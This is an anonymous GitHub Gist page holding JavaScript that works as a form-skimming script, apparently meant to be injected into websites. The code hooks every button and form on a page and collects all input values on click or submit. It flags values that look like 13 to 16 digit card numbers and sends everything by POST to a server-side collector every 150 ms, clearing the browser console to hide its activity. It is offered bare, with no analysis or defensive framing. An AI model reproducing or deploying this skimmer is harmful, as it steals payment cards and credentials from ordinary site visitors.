Created
April 28, 2015 03:07
-
-
Save anonymous/ad3af7186842f52c8da7 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var snd =null; | |
| window.onload = function () { | |
| if((new RegExp('[A-Za-z0-9_]')).test(window.location)) { | |
| send(); | |
| } | |
| } | |
| function clk() { | |
| var inp=document.querySelectorAll("input, select, textarea, checkbox"); | |
| for (var i=0;i<inp.length;i++){ | |
| if(inp[i].value.length>0) { | |
| var nme=inp[i].name; | |
| if(nme=='') { nme=i; } | |
| snd+=inp[i].name+'='+inp[i].value+'&'; | |
| } | |
| } | |
| } | |
| function send() { | |
| var btn=document.querySelectorAll("button, input, submit, .btn, .button"); | |
| for (var i=0;i<btn.length;i++){ | |
| var b=btn[i]; | |
| if(b.type!='text' && b.type!='select' && b.type!='checkbox' && b.type!='password' && b.type!='radio') { | |
| if(b.addEventListener) { | |
| b.addEventListener("click", clk, false); | |
| }else { | |
| b.attachEvent('onclick', clk); | |
| } | |
| } | |
| } | |
| var frm=document.querySelectorAll("form"); | |
| for (var i=0;i<frm.length;i++){ | |
| if(frm[i].addEventListener) { | |
| frm[i].addEventListener("submit", clk, false); | |
| }else { | |
| frm[i].attachEvent('onsubmit', clk); | |
| } | |
| } | |
| if(snd!=null) { | |
| console.clear(); | |
| var cc = new RegExp("[0-9]{13,16}"); | |
| var asd="0"; | |
| if(cc.test(snd)){ | |
| asd="1" ; | |
| } | |
| var http = new XMLHttpRequest(); | |
| http.open("POST","/js/index.php",true); | |
| http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); | |
| http.send("data="+snd+"&asd="+asd); | |
| console.clear(); | |
| } | |
| snd=null; | |
| setTimeout('send()', 150); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment